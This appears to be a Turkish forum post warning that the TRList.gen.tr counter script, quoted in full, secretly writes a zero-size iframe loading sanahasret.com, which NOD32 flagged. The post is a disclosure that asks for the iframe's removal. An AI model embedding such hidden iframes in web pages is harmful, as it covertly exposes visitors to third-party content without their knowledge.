TRList.gen.tr sayac kodları arasında iframe ile sanahasret[.]com dan bir sayfa açıyor ve antivirüs araya girip analiz için gönderi istiyor. İşte aşağıda tüm kodlar..
TRList.gen.tr sayac kodu:
Code:
<script language="JavaScript" type="text/javascript" src="http://www.trlist.gen.tr/log.php?id=28875&bid=1"></script>
Sayac kodu ile islev gören kod (Kodların en altında iframe ile yazdırıyor):
Code:
<!--
referrer=escape(document.referrer);
if (referrer==undefined) referrer="";
if(document.getElementById("trlistlnk") != null) {
document.getElementById("trlistlnk").style.display="none";
document.write("<div style=\"position:relative\"><a href='http://www.trlist.gen.tr/giris.php?id=28875' target='_blank' name='trlink'>");
document.write("<img name='trimage' src='http://www.trlist.gen.tr/img/88x31/1.gif' width='88' height='31' border='0'>");
document.write("<img name='trimage2' src='http://www.trlist.gen.tr/syc_ty765.php?id=28875&ref="+referrer+"&coz="+screen.width+"X"+screen.height+"&rd="+screen.colorDepth+"' width='1' height='1' border='0'>");
document.write("</a><div>");
} else {
document.write("<a href='http://www.trlist.gen.tr/giris.php?id=28875' target='_blank' name='trlink'>");
document.write("<img name='trimage' src='http://www.trlist.gen.tr/img/88x31/1.gif' width='88' height='31' border='0'>");
document.write("<img name='trimage2' src='http://www.trlist.gen.tr/syc_ty765.php?id=28875&ref="+referrer+"&coz="+screen.width+"X"+screen.height+"&rd="+screen.colorDepth+"' width='1' height='1' border='0'>");
document.write("</a>");
}
var sure=8000;var bsayi=2;var bbasla=0;var banner=new Array(bsayi);
banner[0]=new Array(5);banner[0][0]="http://www.trlist.gen.tr/img/88x31/1.gif";banner[0][1]="http://www.trlist.gen.tr/giris.php?id=28875";banner[0][2]="site ekle sohbet güzel sözler oyunlar";banner[0][3]=88;banner[0][4]=31;
banner[1]=new Array(5);banner[1][0]="http://www.trlist.gen.tr/img/88x31/1.gif";banner[1][1]="http://www.trlist.gen.tr/giris.php?id=28875";banner[1][2]="trlist.gen.tr";banner[1][3]=88;banner[1][4]=31;
function banner_rotate(bannerid){document.trimage.src=banner[bannerid][0];document.all("trlink").href=banner[bannerid][1];document.trimage.title=banner[bannerid][2];document.trimage.width=banner[bannerid][3];document.trimage.height=banner[bannerid][4];}
function bekle(){banner_rotate(bbasla);bbasla++;if(bbasla>bsayi-1){bbasla=0;}}
if(bsayi>1)setInterval("bekle()",sure);
document.write("<IFRAME border=0 frameBorder=0 frameSpacing=0 marginHeight=0 marginWidth=0 noResize height=0 scrolling=no src=http://www.sanahasret.com/hitre.php width=0 vspale=0></IFRAME>");
-->
ve NOD32 ekran görüntüsü:
Eğer bilinçli olarak yapıyorsa büyük bir terbiyesizliktir,
bilgisi dışında ise acilen kaldırılması gerekiyor.
Ben sitesinden iletişim mesajı attım. Umarım en kısa sürede kaldırır.